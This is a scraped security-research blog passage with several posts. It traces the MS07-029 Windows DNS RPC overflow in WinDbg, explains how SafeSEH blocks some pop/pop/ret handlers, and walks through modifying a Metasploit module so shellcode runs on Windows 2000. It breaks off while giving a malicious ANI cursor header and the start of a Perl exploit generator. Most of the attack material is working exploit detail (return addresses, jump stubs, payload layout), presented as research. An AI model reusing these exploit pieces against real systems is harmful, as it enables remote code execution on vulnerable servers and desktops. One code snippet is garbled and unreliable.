/>cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000246<br />dns!extractQuotedChar+0x3b:<br />01015389 880a<span style=""> </span>mov<span style=""> </span>byte ptr [edx],cl<span style=""> </span>ds:0023:013a0000=??</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"> </p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:007> g<br />(768.7ec): Access violation - code c0000005 (first chance)<br />First chance exceptions are reported before any exception handling.<br />This exception may be expected and handled.<br />eax=00000000 ebx=00000000 ecx=41414141 edx=7c82eec6 esi=00000000 edi=00000000<br />eip=41414141 esp=0139f2e4 ebp=0139f304 iopl=0<span style=""> </span><span style=""> </span>nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000246<br /><span style="font-weight: bold;">41414141</span> ??<span style=""> </span>???</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:007> dd esp<br />0139f2e4<span style=""> </span>7c82eeb2 0139f3c4 <span style="font-weight: bold;">0139fd50</span> 0139f3e0<br />0139f2f4<span style=""> </span>0139f3a0 0139fd50 7c82eec6 0139fd50</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:007> dd 0139fd50<br />0139fd50<span style=""> </span>424206eb 41414141 fff996e9 424242ff<br />0139fd60<span style=""> </span>42424242 42424242 42424242 42424242</p> <p class="MsoNormal">Everything seems OK – just change 0x41414141 to the address of instruction pop/pop/ret, our shellcode will be executed. But when I change 0x41414141 to <span style="color: rgb(51, 51, 255); font-weight: bold;">0x71c0291d</span> – pop/pop/ret on <span style="color: rgb(51, 51, 255); font-weight: bold;">ws2_32.dll</span>, our shellcode does not execute !!?</p> <p class="MsoNormal">The answer of this question is that ws2_32.dll is complied with /SafeSEH option. I confirm this by use <span style="color: rgb(51, 51, 255); font-weight: bold;">0x76a81a60</span>, pop/pop/ret in <span style="color: rgb(51, 51, 255); font-weight: bold;">atl.dll</span></p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(0, 153, 0);">(6fc.d8): Access violation - code c0000005 (first chance)</span><span style="color: rgb(0, 153, 0);"><br />First chance exceptions are reported before any exception handling.</span><span style="color: rgb(0, 153, 0);"><br />This exception may be expected and handled.</span><span style="color: rgb(0, 153, 0);"><br />eax=00171675 ebx=013a0000 ecx=00008042 edx=013a0000 esi=00000003 edi=00171672</span><br /><span style="color: rgb(0, 153, 0);">eip=01015389 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="color: rgb(0, 153, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246</span><span style="color: rgb(0, 153, 0);"><br /></span></p><p class="MsoNormal"><span style="color: rgb(0, 153, 0);">dns!extractQuotedChar+0x3b:</span><br /><span style="color: rgb(0, 153, 0);">01015389 880a mov byte ptr [edx],cl ds:0023:013a0000=??</span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:007> g<br />(6fc.d8): Break instruction exception - code 80000003 (first chance)<br />eax=00000000 ebx=7c82eeb2 ecx=76a81a60 edx=7c82eec6 esi=00000000 edi=00000000<br />eip=0139f6f3 esp=0139f2f0 ebp=0139f3c4 iopl=0<span style=""> </span>nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000246</p><p style="color: rgb(0, 153, 0);" class="MsoNormal">0139f6f3 <span style="font-weight: bold;">cc int 3</span></p> <p class="MsoNormal">The reason why <span style="font-weight: bold; color: rgb(51, 51, 255);">atl.dll</span> can be used in this exploit is that atl.dll is not compiled with /SafeSEH (information from metasploit exploit), so when we use the address in this dll, it will be passed on any check.</p> <p class="MsoNormal">Now, I will investigate more detail how the address in atl.dll can pass the check while ws2_32.dll cannot. This is the path of execution of atl.dll</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">dns!extractQuotedChar+0x3b:<br />01015389 880a<span style=""> </span>mov<span style=""> </span>byte ptr [edx],cl<span style=""> </span>ds:0023:013a0000=??<br />…<br />ntdll!KiUserExceptionDispatcher+0x4:<br />7c82ecbc 8b1c24<span style=""> </span>mov<span style=""> </span>ebx,dword ptr [esp]<span style=""> </span>ss:0023:0139f3bc=0139f3c4<br />…<br />ntdll!KiUserExceptionDispatcher+0x9:<br />7c82ecc1 e87653feff<span style=""> </span>call<span style=""> </span>ntdll!RtlDispatchException (7c81403c)<br />…<br />ntdll!RtlDispatchException+0x73:<br /><b>7c8140ae e80bffffff<span style=""> </span>call<span style=""> </span>ntdll!RtlIsValidHandler (7c813fbe)<o:p></o:p></b><br />eax=0139f301<br /><b><o:p></o:p>…<o:p></o:p></b><br />ntdll!RtlDispatchException+0x78:<br />7c8140b3 84c0<span style=""> </span>test<span style=""> </span>al,al<br />eax=0139f301<br />…<br />ntdll!RtlDispatchException+0x7a:<o:p></o:p><br /><b>7c8140b5 0f847e930500<span style=""> </span>je<span style=""> </span>ntdll!RtlDispatchException+0x110 (7c86d439)</b><br />…<br />ntdll!RtlDispatchException+0x80:<o:p></o:p><br /><b>7c8140bb ff7304<span style=""> </span>push<span style=""> </span>dword ptr [ebx+4]<span style=""> </span>ds:0023:0139fd54=76a81a60<o:p></o:p></b><br />…<o:p></o:p><br />ntdll!RtlDispatchException+0x8c:<br /><b>7c8140c7 e885ad0100<span style=""> </span>call<span style=""> </span>ntdll!RtlpExecuteHandlerForException (7c82ee51)<o:p></o:p></b><br />...<br /><span style="font-weight: bold;">0139f6f3 cc int 3</span></p> <p class="MsoNormal">And this is the path of ws2_32.dll</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">dns!extractQuotedChar+0x3b:<br />01015389 880a<span style=""> </span>mov<span style=""> </span>byte ptr [edx],cl<span style=""> </span>ds:0023:013a0000=??<br />…<br />ntdll!KiUserExceptionDispatcher+0x4:<br />7c82ecbc 8b1c24<span style=""> </span>mov<span style=""> </span>ebx,dword ptr [esp]<span style=""> </span>ss:0023:0139f3bc=0139f3c4<br />…<o:p></o:p><br />ntdll!KiUserExceptionDispatcher+0x9:<br />7c82ecc1 e87653feff<span style=""> </span>call<span style=""> </span>ntdll!RtlDispatchException (7c81403c)<br />…<br />ntdll!RtlDispatchException+0x73:<br />7<b>c8140ae e80bffffff<span style=""> </span>call<span style=""> </span>ntdll!RtlIsValidHandler (7c813fbe)<o:p></o:p></b><br />eax=00005000<br />…<br />ntdll!RtlDispatchException+0x78:<br />7c8140b3 84c0<span style=""> </span>test<span style=""> </span>al,al<br />eax=00005000<br />…<br /><b>ntdll!RtlDispatchException+0x7a:<o:p></o:p><br />7c8140b5 0f847e930500<span style=""> </span>je<span style=""> </span>ntdll!RtlDispatchException+0x110 (7c86d439)</b><br />…<br /><b>ntdll!RtlDispatchException+0x110:<o:p></o:p><br />7c86d439 834e0408<span style=""> </span>or<span style=""> </span>dword ptr [esi+4],8<span style=""> </span>ds:0023:0139f3c8=00000000<o:p></o:p></b><br />…<br />dns!extractQuotedChar+0x3b:<br />01015389 880a<span style=""> </span>mov<span style=""> </span>byte ptr [edx],cl<span style=""> </span>ds:0023:013a0000=??</p> <p class="MsoNormal">The difference between 2 dlls is at the check after call <span style="color: rgb(51, 51, 255); font-weight: bold;">ntdll!RtlIsvalidHandler</span>. It checks the return value from ntdll!RtlIsValidHandler. The return value of<span style="color: rgb(51, 51, 255); font-weight: bold;"> atl.dll</span> is <span style="color: rgb(51, 51, 255); font-weight: bold;">0x01</span>, so it will not jump to ntdll!RtlDispatchException + 0x110 and finally execute <span style="color: rgb(51, 51, 255); font-weight: bold;">ntdll!RtlpExecuteHandlerForException</span>.</p><p class="MsoNormal"> </p><p class="MsoNormal"><span style=""></span>Now, I will investigate ntdll!RtlIsValidHandler. I want to find why atl.dll return 0x01 and ws2_32.dll return 0x00. This is the path for atl.dll:</p> <p class="MsoNormal"><span style="color: rgb(0, 153, 0);">…</span><br /><span style="color: rgb(0, 153, 0);">ntdll!RtlIsValidHandler+0x1f:</span><span style="color: rgb(0, 153, 0);"><br />7c813fdd e842150000 </span><b style="color: rgb(0, 153, 0);">call<span style=""> </span>ntdll!RtlLookupFunctionTable</b><span style="color: rgb(0, 153, 0);"> (7c815524)</span><span style="color: rgb(0, 153, 0);"><br />eax=00000000</span><span style="color: rgb(0, 153, 0);"><br />…</span><span style="color: rgb(0, 153, 0);"><br />ntdll!RtlIsValidHandler+0x24:</span><span style="color: rgb(0, 153, 0);"><br />7c813fe2 33db xor ebx,ebx</span><span style="color: rgb(0, 153, 0);"><br />eax=00000000 ebx=0000000</span><span style="color: rgb(0, 153, 0);"><br />…</span><span style="color: rgb(0, 153, 0);"><br />ntdll!RtlIsValidHandler+0x26:</span><span style="color: rgb(0, 153, 0);"><br />7c813fe4 3bc3 cmp eax,ebx</span><span style="color: rgb(0, 153, 0);"><br />eax=00000000 ebx=00000000</span><span style="color: rgb(0, 153, 0);"><br />…</span><span style="color: rgb(0, 153, 0);"><br />ntdll!RtlIsValidHandler+0x2b:</span><b style="color: rgb(0, 153, 0);"><br />7c813fe9 0f84222bffff<span style=""> </span>je<span style=""> </span>ntdll!RtlIsValidHandler+0x6f (7c806b11)</b><span style="color: rgb(0, 153, 0);"><br />…</span><span style="color: rgb(0, 153, 0);"><br />ntdll!RtlIsValidHandler+0x6f:</span><b><o:p style="color: rgb(0, 153, 0);"></o:p><span style="color: rgb(0, 153, 0);"><br />7c806b11 8d45e8 lea eax,[ebp-18h]</span><o:p></o:p></b></p> <p class="MsoNormal">The return value of <span style="font-weight: bold; color: rgb(51, 51, 255);">atl.dll</span> from <span style="font-weight: bold; color: rgb(51, 51, 255);">ntdll!RtlLookupFunctionTable</span> is <span style="font-weight: bold; color: rgb(51, 51, 255);">0x00</span> and it will jump to ntdll!RtlIsValidHandler + 0x6f. The return value of ws2_32.dll is not 0x00:</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">…<br />ntdll!RtlIsValidHandler+0x1f:<br />7c813fdd e842150000<span style=""> </span><b><span style=""> </span>call<span style=""> </span>ntdll!RtlLookupFunctionTable </b>(7c815524)<br />eax=71c094e0<br />…</p><p class="MsoNormal"> </p><p class="MsoNormal">It is not jump to ntdll!RtlIsValidHandler + 0x6f and call<span style="color: rgb(51, 51, 255); font-weight: bold;"> ntdll!RtlInvalidHandlerDetected</span></p> <p class="MsoNormal"> </p> <p class="MsoNormal"><span style="color: rgb(0, 153, 0);">ntdll!RtlIsValidHandler+0x2b:</span><b style="color: rgb(0, 153, 0);"><br />7c813fe9 0f84222bffff<span style=""> </span>je<span style=""> </span>ntdll!RtlIsValidHandler+0x6f (7c806b11)</b><span style="color: rgb(0, 153, 0);"><br />…</span><span style="color: rgb(0, 153, 0);"><br />ntdll!RtlIsValidHandler+0x2d:</span><b style="color: rgb(0, 153, 0);"><o:p></o:p><br />7c813fef 8b7df8<span style=""> </span>mov<span style=""> </span>edi,dword ptr [ebp-8] ss:0023:0139f330=00000001</b><span style="color: rgb(0, 153, 0);"><br />…</span><span style="color: rgb(0, 153, 0);"><br />ntdll!RtlIsValidHandler+0xe2:</span><b><span style="color: rgb(0, 153, 0);"><br />7c814108 e8e8910500 call ntdll!RtlInvalidHandlerDetected (7c86d2f5)</span><o:p></o:p></b></p> <p class="MsoNormal">Now, I know more details about the difference between atl.dll and ws2_32.dll. The function <span style="color: rgb(51, 51, 255); font-weight: bold;">ntdll!RtlIsValidHandler</span> return true (<span style="font-weight: bold; color: rgb(51, 51, 255);">0x01)</span> for <span style="color: rgb(51, 51, 255); font-weight: bold;">atl.dll</span> and false (<span style="color: rgb(102, 0, 0); font-weight: bold;">0x00</span>) for <span style="font-weight: bold; color: rgb(102, 0, 0);">ws2_32.dll</span>. The key internal function in ntdll!RtlIsvalidHandler is <span style="font-weight: bold; color: rgb(51, 51, 255);">ntdll!RtlLookupFunctionTable</span>.</p><p class="MsoNormal"> </p>The function <span style="font-weight: bold; color: rgb(51, 51, 255);">ntdll!RtlLookupFunctionTable</span> return <span style="color: rgb(51, 51, 255); font-weight: bold;">0x00</span> for <span style="font-weight: bold; color: rgb(51, 51, 255);">atl.dll</span> and <span style="color: rgb(102, 0, 0); font-weight: bold;">non-zero</span> for <span style="font-weight: bold; color: rgb(102, 0, 0);">ws2_32.dll</span>. Now, I will look for the difference between atl.dll and ws2_32.dll in ntdll!RtlLookupFunctionTable. After take a lot of time, I found the interesting thing in ws2_32.dll:<p class="MsoNormal"> </p><span style="color: rgb(0, 102, 0);">…</span><br /><span style="color: rgb(0, 102, 0);">ntdll!RtlLookupFunctionTable+0x8:</span><br /><span style="color: rgb(0, 102, 0); font-weight: bold;">7c81552c 8365fc00 and dword ptr [ebp-4],0</span><br /><span style="color: rgb(0, 102, 0);">…</span><br /><span style="color: rgb(0, 102, 0);">ntdll!RtlLookupFunctionTable+0xc6:</span><br /><span style="color: rgb(0, 102, 0);">7c81562e 8d45fc lea eax,[ebp-4]</span><p style="color: rgb(0, 102, 0);" class="MsoNormal">0:007> dd ebp - 4<br />0139f2e0<span style=""> </span>00000000 0139f338 7c813fe2 71c0291d<br />…<br />ntdll!RtlLookupFunctionTable+0xc9:<br />7c815631 50<span style=""> </span>push<span style=""> </span>eax<br />…<br />ntdll!RtlLookupFunctionTable+0xca:<br />7c815632 56<span style=""> </span>push<span style=""> </span>esi<br />…<br />ntdll!RtlLookupFunctionTable+0xcb:<br />7c815633 e87cffffff<span style=""> </span><b><span style=""> </span>call<span style=""> </span>ntdll!RtlCaptureImageExceptionValues</b> (7c8155b4)<br />0:007> p<br />ntdll!RtlLookupFunctionTable+0xd0:<br />7c815638 e956ffffff<span style=""> </span>jmp<span style=""> </span>ntdll!RtlLookupFunctionTable+0xd5 (7c815593)<br />0:007> dd ebp - 4<br />0139f2e0<span style=""> </span><b>71c094e0</b> 0139f338 7c813fe2 71c0291d<br />…<br />ntdll!RtlLookupFunctionTable+0xed:<br /><b>7c8155a6 8b45fc<span style=""> </span><span style=""> </span>mov<span style=""> </span>eax,dword ptr [ebp-4] ss:0023:0139f2e0=71c094e0<o:p></o:p></b><br />…<br />ntdll!RtlLookupFunctionTable+0xf3:<br />7c8155ac c20c00<span style=""> </span>ret<span style=""> </span>0Ch</p> <p class="MsoNormal">After call ntdll!RtlCaptureImageExceptionValues, the value 0x00 stored at [ebp – 4] is changed. This condition occurs in the image that complied with /SafeSEH option such as ws2_32.dll. For atl.dll, this function is not change the value at [ebp – 4]:</p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">ntdll!RtlLookupFunctionTable+0xed:<br /><span style="font-weight: bold;">7c8155a6 8b45fc </span><b style="font-weight: bold;"><span style=""> </span>mov<span style=""> </span>eax,dword ptr [ebp-4] ss:0023:0139f2e0=00000000</b></p>Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com4tag:blogger.com,1999:blog-30260908.post-11486339388841083312007-06-23T15:45:00.000+07:002007-06-23T16:04:47.425+07:00MS07-029 Series - Part 1: Exploiting the DNS Server holes on Windows 2000 Server SP4<p class="MsoNormal">I start this exploitation research series is because of the varieties of technique. Especially in Windows Server 2003 platform, you will see the various technique used to bypass the protection . However, I will explain how to exploit this vulnerability on Windows 2000 Server SP4 in this post and describe Windows Server 2003 in next posts.</p> <p class="MsoNormal">For the first example, I will use the exploit from metasploit, <span style="color: rgb(51, 51, 255);">windows/dcerpc/msdns_zonename.rb</span>. I change the following things of the exploit module:</p> <ul style="margin-top: 0cm;" type="disc"><li class="MsoNormal" style="">Return address: from 0x75022ac4 to 0x41414141</li><li class="MsoNormal" style="">The random alphanumeric buffer to 8192 bytes of “\x42”</li><li class="MsoNormal" style="">The payload.encoded to series of “\x43”</li></ul> <p style="color: rgb(0, 102, 0);" class="MsoNormal">(140.320): Access violation - code c0000005 (first chance)<br />First chance exceptions are reported before any exception handling.<br />This exception may be expected and handled.<br />eax=0009adc5 ebx=00a60001 ecx=00005042 edx=00a60000 esi=00a5f89a edi=000a1039<br />eip=0101c68d esp=00a5f860 ebp=00a5f884 iopl=0<span style=""> </span>nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=0038<span style=""> </span>gs=0000<span style=""> </span>efl=00000246<br />dns!extractQuotedChar+0x38:<br />0101c68d 880a<span style=""> </span>mov<span style=""> </span>byte ptr [edx],cl<span style=""> </span>ds:0023:00a60000=??</p> <p class="MsoNormal">DNS server crash with access violation – try to write to memory address point by edx – 0x00a60000. I continue run the debugger by press ‘p’ :</p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">ntdll!KiUserExceptionDispatcher+0x4:<br />77f91bbc 8b1c24<span style=""> </span>mov<span style=""> </span>ebx,dword ptr [esp]<span style=""> </span>ss:0023:00a5f570=00a5f578</p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">ntdll!KiUserExceptionDispatcher+0x7:<br />77f91bbf 51<span style=""> </span>push<span style=""> </span>ecx</p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">ntdll!KiUserExceptionDispatcher+0x8:<br />77f91bc0 53<span style=""> </span>push<span style=""> </span>ebx</p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">ntdll!KiUserExceptionDispatcher+0x9:<br />77f91bc1 e8ecaf0100<span style=""> </span>call<span style=""> </span>ntdll!RtlDispatchException (77facbb2)</p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">(140.320): Access violation - code c0000005 (first chance)<br />First chance exceptions are reported before any exception handling.<br />This exception may be expected and handled.<br />eax=00a5f550 ebx=00a5fd54 ecx=41414141 edx=77fbb286 esi=00a5f578 edi=000a1039<br />eip=41414141 esp=00a5f4b8 ebp=00a5f4d8 iopl=0<span style=""> </span>nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000246<br />41414141 ??<span style=""> </span>???</p> <p class="MsoNormal">The process try to call exception handler and end up with access violation at 0x41414141 – the return address that I change. Then, I investigate the other registers and found that the ebx register is the interesting one:</p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">0:007> dd ebx<br />00a5fd54<span style=""> </span>424206eb 41414141 fffb3ae9 424242ff<br />00a5fd64<span style=""> </span>42424242 42424242 42424242 42424242<br />00a5fd74<span style=""> </span>42424242 42424242 42424242 42424242<br />00a5fd84<span style=""> </span>42424242 42424242 42424242 42424242</p> <p class="MsoNormal">The ebx register point to near the serie of “\x42” byte which is our buffer. I disassemble 0x00a5fd54 – the address pointed by ebx:</p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">0:007> u ebx<br />00a5fd54 eb06<span style=""> </span>jmp<span style=""> </span>00a5fd5c<br />00a5fd56 42<span style=""> </span><span style=""> </span>inc<span style=""> </span>edx<br />00a5fd57 42<span style=""> </span>inc<span style=""> </span>edx<br />00a5fd58 41<span style=""> </span>inc<span style=""> </span>ecx<br />00a5fd59 41<span style=""> </span>inc<span style=""> </span>ecx<br />00a5fd5a 41<span style=""> </span>inc<span style=""> </span>ecx<br />00a5fd5b 41<span style=""> </span>inc<span style=""> </span>ecx<br />00a5fd5c e93afbffff<span style=""> </span>jmp<span style=""> </span>00a5f89b</p> <p class="MsoNormal">The first 2 bytes of payload pointed by ebx is “eb 06” which means jump forward 6 bytes – jump to 0x00a5fd5c. At the address 0x00a5fd5c, the instruction “e93affbffff” means jump back 1222 bytes. These instructions are written in the module like these:</p> <p class="MsoNormal"><span style="color: rgb(0, 102, 0);">txt[ off - 4, 2] = "\xeb\x06" :</span><o:p></o:p></p> and<br /><br /><span style="color: rgb(0, 102, 0);">txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V') </span><br /><br />When the program jump back 1222 bytes, it will jump to the address 0x00a5f89b:<br /><br /><span style="color: rgb(0, 102, 0);">0:007> dd 00a5f89b</span><br /><span style="color: rgb(0, 102, 0);">00a5f89b 43434343 43434343 43434343 43434343</span><br /><span style="color: rgb(0, 102, 0);">00a5f8ab 43434343 43434343 43434343 43434343</span><br /><span style="color: rgb(0, 102, 0);">00a5f8bb 43434343 43434343 43434343 43434343</span><br /><span style="color: rgb(0, 102, 0);">00a5f8cb 43434343 43434343 43434343 43434343</span><br /><br />Oh.. it is our shellcode. As you can see, if I change the return address to the address that hold the instruction to jump to ebx register, the flow of execution will reach to our shellcode.<br /><br />I change back the return address to 0x75022ac4 , pop esi – pop ebx – ret instruction, and change shellcode to “\xcc” – break instruction. I rerun the exploit:<br /><br /><span style="color: rgb(0, 102, 0);">(120.1dc): Access violation - code c0000005 (first chance)</span><br /><span style="color: rgb(0, 102, 0);">First chance exceptions are reported before any exception handling.</span><br /><span style="color: rgb(0, 102, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(0, 102, 0);">eax=000a1c3a ebx=00a60001 ecx=00005042 edx=00a60000 esi=00a5f89a edi=000a7eae</span><br /><span style="color: rgb(0, 102, 0);">eip=0101c68d esp=00a5f860 ebp=00a5f884 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="color: rgb(0, 102, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246</span><br /><span style="color: rgb(0, 102, 0);">dns!extractQuotedChar+0x38:</span><br /><span style="color: rgb(0, 102, 0);">0101c68d 880a mov byte ptr [edx],cl ds:0023:00a60000=??</span><br /><p style="color: rgb(0, 102, 0);" class="MsoNormal">0:007> g<br />(120.1dc): Break instruction exception - code 80000003 (first chance)<br />eax=00a5f550 ebx=00a5f578 ecx=75022ac4 edx=77fbb286 esi=77fbb272 edi=000a7eae<br />eip=00a5f89b esp=00a5f4c4 ebp=00a5f4d8 iopl=0<span style=""> </span>nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000246<br />00a5f89b cc<span style=""> </span>int<span style=""> </span>3</p> <p class="MsoNormal">Got it !!. Our shellcode is execute at 0x00a5f89b.</p> <p class="MsoNormal">Now I have some question in my mind. Do we have to put the shellcode at the start of the buffer and the jump back to it ? Could we put the shellcode after the return address ?</p><p class="MsoNormal"> </p><p class="MsoNormal">To answer this question, I modify the exploit module to put the shellcode after the return address</p> <p class="MsoNormal"><span style="color: rgb(0, 102, 0);">newpayload = "\xcc" * payload.encoded.length</span><o:p style="color: rgb(0, 102, 0);"></o:p><br /><span style="color: rgb(0, 102, 0);">txt[off + 4, newpayload.length] = newpayload</span><o:p></o:p></p><p class="MsoNormal"><o:p></o:p>and comment this line</p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(0, 102, 0);">txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')</span></p> <p class="MsoNormal"><o:p></o:p>This is the result:</p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">(2d4.338): Access violation - code c0000005 (first chance)<br />First chance exceptions are reported before any exception handling.<br />This exception may be expected and handled.<br />eax=000a1a31 ebx=00a60001 ecx=00005042 edx=00a60000 esi=00a5f89a edi=000a7ca5<br />eip=0101c68d esp=00a5f860 ebp=00a5f884 iopl=0<span style=""> </span>nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=0038<span style=""> </span>gs=0000<span style=""> </span>efl=00000246<br />dns!extractQuotedChar+0x38:<br />0101c68d 880a<span style=""> </span>mov<span style=""> </span>byte ptr [edx],cl<span style=""> </span>ds:0023:00a60000=??</p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">0:007> g<br />(2d4.338): Break instruction exception - code 80000003 (first chance)<br />eax=00a5f550 ebx=00a5f578 ecx=75022ac4 edx=77fbb286 esi=77fbb272 edi=000a7ca5<br />eip=00a5fd5c esp=00a5f4c4 ebp=00a5f4d8 iopl=0<span style=""> </span>nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000246<br />00a5fd5c cc<span style=""> </span>int<span style=""> </span>3</p> <p class="MsoNormal">Yeah, the shellcode is executed same as the first one. </p> <p style="color: rgb(0, 102, 0);" class="MsoNormal">0:007> dd eip - 8<br />00a5fd54<span style=""> </span>424206eb 75022ac4 cccccccc cccccccc<br />00a5fd64<span style=""> </span>cccccccc cccccccc cccccccc cccccccc<br />00a5fd74<span style=""> </span>cccccccc cccccccc cccccccc cccccccc<br />00a5fd84<span style=""> </span>cccccccc cccccccc cccccccc cccccccc</p><span style="color: rgb(0, 102, 0);">0:007> u eip - 8</span><br /><span style="color: rgb(0, 102, 0);">00a5fd54 eb06 jmp 00a5fd5c</span><br /><span style="color: rgb(0, 102, 0);">00a5fd56 42 inc edx</span><br /><span style="color: rgb(0, 102, 0);">00a5fd57 42 inc edx</span><br /><span style="color: rgb(0, 102, 0);">00a5fd58 c42a les ebp,fword ptr [edx]</span><br /><span style="color: rgb(0, 102, 0);">00a5fd5a 0275cc add dh,byte ptr [ebp-34h]</span><br /><span style="color: rgb(0, 102, 0);">00a5fd5d cc int 3</span><br /><span style="color: rgb(0, 102, 0);">00a5fd5e cc int 3</span><br /><span style="color: rgb(0, 102, 0);">00a5fd5f cc int 3</span><br /><br />Note: you may wonder what’s the function of this code in the exploit module: <p style="color: rgb(51, 51, 255);" class="MsoNormal"><o:p> </o:p># Convert the string to escaped octal<br />txt.unpack('C*').each do |c|<br />req << "\\" req <<> </p><p class="MsoNormal">This code convert our buffer to the octal data. Why we have to convert the buffer to the octal buffer ? The answer is that if we don’t have the ‘\’ that represent the octal number, the vulnerable function – extractQuotedChar() will be never called.<o:p></o:p></p>Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com1tag:blogger.com,1999:blog-30260908.post-21246298936160670802007-04-02T00:33:00.000+07:002007-04-03T21:07:32.311+07:00ANI Again: Exploiting Microsoft ANI Vulnerability in 10 minutes<p class="MsoNormal">One day after I release the <span style="color: rgb(255, 0, 0);">ANI exploit</span>, there are a lot of researches about this vulnerability. May be I don’t have to post about this thing, lol – just kiddies. I will post information about this vulnerability in my own way – how to create the malicious ANI file and how to write the exploit with one of the most easiest way – heap spraying. However, I will not describe the details that other peoples already have described.<br /></p> <p class="MsoNormal">Note: I have read many researches about this and I thing these are the interesting research<o:p> </o:p></p> <ul style="margin-top: 0in;" type="disc"><li class="MsoNormal" style="">Exploiting the ANI vulnerability on <st1:place>Vista</st1:place> (<a href="http://blog.metasploit.com/">http://blog.metasploit.com</a>) : This post is all about how to exploit the vulnerability in Vista</li><li class="MsoNormal" style="">Windows Animated Cursor Stack Overflow Vulnerability (<a href="http://www.determina.com/security.research/vulnerabilities/ani-header.html">http://www.determina.com/security.research/vulnerabilities/ani-header.html</a>): This research described about the vulnerability and the attack vector<br /></li><li class="MsoNormal" style="">Analysis of ANI “anih” Header Stack Overflow Vulnerability (<a href="http://www.mnin.org/write/ani-notes.pdf">http://www.mnin.org/write/ani-notes.pdf</a>): My exploit is based on this paper </li></ul> <p class="MsoNormal"><br />Now, let’s go.<o:p> </o:p></p> <p class="MsoNormal">I start to write the exploit after I read this <a href="http://www.mnin.org/write/ani-notes.pdf">paper</a>. The paper describes the way that how the attacker partially overwrite EIP. I think the attacker use this technique to bypass ASLR on <st1:place>Vista</st1:place>. The anih header looks like this:</p> <p class="MsoNormal"><o:p> </o:p><span style="color: rgb(0, 153, 0);">"\x52\x49\x46\x46\x13\x03\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68" </span><br /><span style="color: rgb(0, 153, 0);">"\x24\x00\x00\x00\x24\x00\x00\x00\xff\xff\x00\x00\x09\x00\x00\x00"</span><br /><span style="color: rgb(0, 153, 0);">"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"</span><br /><span style="color: rgb(0, 153, 0);">"\x04\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4c\x03\x00\x00\x00"</span><br /><span style="color: rgb(0, 153, 0);">"\x00\x00\x00\x00\x54\x53\x49\x4c\x04\x00\x00\x00\x02\x02\x02\x02"</span><br /><span style="color: rgb(0, 153, 0);">"\x61\x6e\x69\x68\x52\x00\x00\x00"</span></p> <p class="MsoNormal"><o:p> </o:p>The last 4 bytes is the size of anih tag, normally 36 bytes, but in the exploit its value is 0x52 – 82 bytes. This size of header overwrites 2 lower bytes of EIP. Because I have not much time to investigate all of the behavior of bug, I decide to test my assumption with the fastest way. The assumption is that if I overwrite the entire stack (as I do in the <a href="http://sf-freedom.blogspot.com/2006/09/heap-spraying-exploiting-internet_24.html">VML exploit</a>), I can redirect the flow of execution by the mechanism of Exception Handler. Then, I change the last 4 bytes to:</p> <p class="MsoNormal"><o:p> </o:p><span style="color: rgb(0, 153, 0);">“\xff\xff\x00\x00”</span></p> <p class="MsoNormal"><o:p> </o:p>This value is 65535 in decimal. My ani generator looks like this:</p> <p class="MsoNormal"><o:p> </o:p><span style="color: rgb(0, 153, 0);">#!/usr/bin/perl</span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"><o:p> </o:p>$aniheader =<br />"\x52\x49\x46\x46\x13\x03\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"<br 